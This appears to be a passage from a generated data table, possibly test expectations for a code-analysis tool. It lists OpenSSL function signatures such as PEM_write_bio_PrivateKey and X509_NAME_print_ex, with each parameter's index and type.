PEM_read_bio | 4 | long * | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 0 | BIO * | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 1 | char ** | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 2 | char ** | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 3 | unsigned char ** | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 4 | long * | +| (BIO *,char **,char **,unsigned char **,long *,unsigned int) | | PEM_read_bio_ex | 5 | unsigned int | +| (BIO *,char *,int) | | BIO_get_line | 0 | BIO * | +| (BIO *,char *,int) | | BIO_get_line | 1 | char * | +| (BIO *,char *,int) | | BIO_get_line | 2 | int | +| (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 0 | BIO * | +| (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 1 | const ASN1_STRING * | +| (BIO *,const ASN1_STRING *,unsigned long) | | ASN1_STRING_print_ex | 2 | unsigned long | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 0 | BIO * | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 1 | const ASN1_VALUE * | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 2 | int | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 3 | const ASN1_ITEM * | +| (BIO *,const ASN1_VALUE *,int,const ASN1_ITEM *,const ASN1_PCTX *) | | ASN1_item_print | 4 | const ASN1_PCTX * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 0 | BIO * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 1 | const BIGNUM * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 2 | const char * | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 3 | int | +| (BIO *,const BIGNUM *,const char *,int,unsigned char *) | | print_bignum_var | 4 | unsigned char * | +| (BIO *,const CMS_ContentInfo *) | | PEM_write_bio_CMS | 0 | BIO * | +| (BIO *,const CMS_ContentInfo *) | | PEM_write_bio_CMS | 1 | const CMS_ContentInfo * | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 0 | BIO * | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 1 | const CMS_ContentInfo * | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 2 | int | +| (BIO *,const CMS_ContentInfo *,int,const ASN1_PCTX *) | | CMS_ContentInfo_print_ctx | 3 | const ASN1_PCTX * | +| (BIO *,const DH *) | | PEM_write_bio_DHparams | 0 | BIO * | +| (BIO *,const DH *) | | PEM_write_bio_DHparams | 1 | const DH * | +| (BIO *,const DH *) | | PEM_write_bio_DHxparams | 0 | BIO * | +| (BIO *,const DH *) | | PEM_write_bio_DHxparams | 1 | const DH * | +| (BIO *,const DSA *) | | DSAparams_print | 0 | BIO * | +| (BIO *,const DSA *) | | DSAparams_print | 1 | const DSA * | +| (BIO *,const DSA *) | | PEM_write_bio_DSA_PUBKEY | 0 | BIO * | +| (BIO *,const DSA *) | | PEM_write_bio_DSA_PUBKEY | 1 | const DSA * | +| (BIO *,const DSA *) | | PEM_write_bio_DSAparams | 0 | BIO * | +| (BIO *,const DSA *) | | PEM_write_bio_DSAparams | 1 | const DSA * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 0 | BIO * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 1 | const DSA * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 3 | const unsigned char * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 4 | int | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 5 | pem_password_cb * | +| (BIO *,const DSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_DSAPrivateKey | 6 | void * | +| (BIO *,const DSA *,int) | | DSA_print | 0 | BIO * | +| (BIO *,const DSA *,int) | | DSA_print | 1 | const DSA * | +| (BIO *,const DSA *,int) | | DSA_print | 2 | int | +| (BIO *,const EC_GROUP *) | | PEM_write_bio_ECPKParameters | 0 | BIO * | +| (BIO *,const EC_GROUP *) | | PEM_write_bio_ECPKParameters | 1 | const EC_GROUP * | +| (BIO *,const EC_KEY *) | | PEM_write_bio_EC_PUBKEY | 0 | BIO * | +| (BIO *,const EC_KEY *) | | PEM_write_bio_EC_PUBKEY | 1 | const EC_KEY * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 0 | BIO * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 1 | const EC_KEY * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 3 | const unsigned char * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 4 | int | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 5 | pem_password_cb * | +| (BIO *,const EC_KEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_ECPrivateKey | 6 | void * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 0 | BIO * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 1 | const EVP_CIPHER * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 2 | const unsigned char * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 3 | size_t | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 4 | unsigned int | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 5 | OSSL_LIB_CTX * | +| (BIO *,const EVP_CIPHER *,const unsigned char *,size_t,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_EncryptedData_encrypt_ex | 6 | const char * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 0 | BIO * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 1 | const EVP_MD * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 2 | unsigned int | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 3 | OSSL_LIB_CTX * | +| (BIO *,const EVP_MD *,unsigned int,OSSL_LIB_CTX *,const char *) | | CMS_digest_create_ex | 4 | const char * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_PUBKEY | 0 | BIO * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_PUBKEY | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_Parameters | 0 | BIO * | +| (BIO *,const EVP_PKEY *) | | PEM_write_bio_Parameters | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 0 | BIO * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 2 | OSSL_LIB_CTX * | +| (BIO *,const EVP_PKEY *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PUBKEY_ex | 3 | const char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 3 | const char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 3 | const char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_bio | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 3 | const unsigned char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 3 | const unsigned char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_PrivateKey_traditional | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 0 | BIO * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 2 | const EVP_CIPHER * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 3 | const unsigned char * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 4 | int | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 6 | void * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 7 | OSSL_LIB_CTX * | +| (BIO *,const EVP_PKEY *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | PEM_write_bio_PrivateKey_ex | 8 | const char * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 2 | int | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_params | 3 | ASN1_PCTX * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 2 | int | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_private | 3 | ASN1_PCTX * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 2 | int | +| (BIO *,const EVP_PKEY *,int,ASN1_PCTX *) | | EVP_PKEY_print_public | 3 | ASN1_PCTX * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 2 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 3 | const char * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 4 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | PEM_write_bio_PKCS8PrivateKey_nid | 6 | void * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 2 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 3 | const char * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 4 | int | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 5 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,const char *,int,pem_password_cb *,void *) | | i2d_PKCS8PrivateKey_nid_bio | 6 | void * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 2 | int | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 3 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *) | | i2b_PVK_bio | 4 | void * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 0 | BIO * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 1 | const EVP_PKEY * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 2 | int | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 3 | pem_password_cb * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 4 | void * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 5 | OSSL_LIB_CTX * | +| (BIO *,const EVP_PKEY *,int,pem_password_cb *,void *,OSSL_LIB_CTX *,const char *) | | i2b_PVK_bio_ex | 6 | const char * | +| (BIO *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_bio_NETSCAPE_CERT_SEQUENCE | 0 | BIO * | +| (BIO *,const NETSCAPE_CERT_SEQUENCE *) | | PEM_write_bio_NETSCAPE_CERT_SEQUENCE | 1 | const NETSCAPE_CERT_SEQUENCE * | +| (BIO *,const PKCS7 *) | | PEM_write_bio_PKCS7 | 0 | BIO * | +| (BIO *,const PKCS7 *) | | PEM_write_bio_PKCS7 | 1 | const PKCS7 * | +| (BIO *,const PKCS7 *) | | i2d_PKCS7_bio | 0 | BIO * | +| (BIO *,const PKCS7 *) | | i2d_PKCS7_bio | 1 | const PKCS7 * | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 0 | BIO * | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 1 | const PKCS7 * | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 2 | int | +| (BIO *,const PKCS7 *,int,const ASN1_PCTX *) | | PKCS7_print_ctx | 3 | const ASN1_PCTX * | +| (BIO *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_bio_PKCS8_PRIV_KEY_INFO | 0 | BIO * | +| (BIO *,const PKCS8_PRIV_KEY_INFO *) | | PEM_write_bio_PKCS8_PRIV_KEY_INFO | 1 | const PKCS8_PRIV_KEY_INFO * | +| (BIO *,const PKCS12 *) | | i2d_PKCS12_bio | 0 | BIO * | +| (BIO *,const PKCS12 *) | | i2d_PKCS12_bio | 1 | const PKCS12 * | +| (BIO *,const RSA *) | | PEM_write_bio_RSAPublicKey | 0 | BIO * | +| (BIO *,const RSA *) | | PEM_write_bio_RSAPublicKey | 1 | const RSA * | +| (BIO *,const RSA *) | | PEM_write_bio_RSA_PUBKEY | 0 | BIO * | +| (BIO *,const RSA *) | | PEM_write_bio_RSA_PUBKEY | 1 | const RSA * | +| (BIO *,const RSA *) | | i2d_RSAPrivateKey_bio | 0 | BIO * | +| (BIO *,const RSA *) | | i2d_RSAPrivateKey_bio | 1 | const RSA * | +| (BIO *,const RSA *) | | i2d_RSAPublicKey_bio | 0 | BIO * | +| (BIO *,const RSA *) | | i2d_RSAPublicKey_bio | 1 | const RSA * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 0 | BIO * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 1 | const RSA * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 2 | const EVP_CIPHER * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 3 | const unsigned char * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 4 | int | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 5 | pem_password_cb * | +| (BIO *,const RSA *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_write_bio_RSAPrivateKey | 6 | void * | +| (BIO *,const RSA *,int) | | RSA_print | 0 | BIO * | +| (BIO *,const RSA *,int) | | RSA_print | 1 | const RSA * | +| (BIO *,const RSA *,int) | | RSA_print | 2 | int | +| (BIO *,const SSL_SESSION *) | | PEM_write_bio_SSL_SESSION | 0 | BIO * | +| (BIO *,const SSL_SESSION *) | | PEM_write_bio_SSL_SESSION | 1 | const SSL_SESSION * | +| (BIO *,const X509 *) | | PEM_write_bio_X509 | 0 | BIO * | +| (BIO *,const X509 *) | | PEM_write_bio_X509 | 1 | const X509 * | +| (BIO *,const X509 *) | | PEM_write_bio_X509_AUX | 0 | BIO * | +| (BIO *,const X509 *) | | PEM_write_bio_X509_AUX | 1 | const X509 * | +| (BIO *,const X509 *) | | i2d_X509_bio | 0 | BIO * | +| (BIO *,const X509 *) | | i2d_X509_bio | 1 | const X509 * | +| (BIO *,const X509_ACERT *) | | PEM_write_bio_X509_ACERT | 0 | BIO * | +| (BIO *,const X509_ACERT *) | | PEM_write_bio_X509_ACERT | 1 | const X509_ACERT * | +| (BIO *,const X509_ACERT *) | | i2d_X509_ACERT_bio | 0 | BIO * | +| (BIO *,const X509_ACERT *) | | i2d_X509_ACERT_bio | 1 | const X509_ACERT * | +| (BIO *,const X509_CRL *) | | PEM_write_bio_X509_CRL | 0 | BIO * | +| (BIO *,const X509_CRL *) | | PEM_write_bio_X509_CRL | 1 | const X509_CRL * | +| (BIO *,const X509_CRL *) | | i2d_X509_CRL_bio | 0 | BIO * | +| (BIO *,const X509_CRL *) | | i2d_X509_CRL_bio | 1 | const X509_CRL * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 0 | BIO * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 1 | const X509_INFO * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 2 | EVP_CIPHER * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 3 | const unsigned char * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 4 | int | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 5 | pem_password_cb * | +| (BIO *,const X509_INFO *,EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_X509_INFO_write_bio | 6 | void * | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 0 | BIO * | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 1 | const X509_NAME * | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 2 | int | +| (BIO *,const X509_NAME *,int,unsigned long) | | X509_NAME_print_ex | 3 | unsigned long | +| (BIO *,const X509_PUBKEY *) | | PEM_write_bio_X509_PUBKEY | 0 | BIO * | +| (BIO *,const X509_PUBKEY *) | | PEM_write_bio_X509_PUBKEY | 1 | const X509_PUBKEY * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ | 0 | BIO * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ | 1 | const X509_REQ * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ_NEW | 0 | BIO * | +| (BIO *,const X509_REQ *) | | PEM_write_bio_X509_REQ_NEW | 1 | const X509_REQ * | +| (BIO *,const X509_REQ *) | | i2d_X509_REQ_bio | 0 | BIO * | +| (BIO *,const X509_REQ *) | | i2d_X509_REQ_bio | 1 | const X509_REQ * | +| (BIO *,const X509_SIG *) | | PEM_write_bio_PKCS8 | 0 | BIO * | +| (BIO *,const X509_SIG *) | | PEM_write_bio_PKCS8 | 1 | const X509_SIG * | +| (BIO *,const char *,OCSP_REQUEST *) | | OCSP_sendreq_bio | 0 | BIO * | +| (BIO *,const char *,OCSP_REQUEST *) | | OCSP_sendreq_bio | 1 | const char * | +| (BIO *,const char *,OCSP_REQUEST *) | | OCSP_sendreq_bio | 2 | OCSP_REQUEST * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 0 | BIO * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 1 | const char * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 2 | OSSL_LIB_CTX * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 3 | const char * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD *,void *,const OSSL_PARAM[],OSSL_STORE_post_process_info_fn,void *) | | OSSL_STORE_attach | 4 | const UI_METHOD * | +| (BIO *,const char *,OSSL_LIB_CTX *,const char *,const UI_METHOD 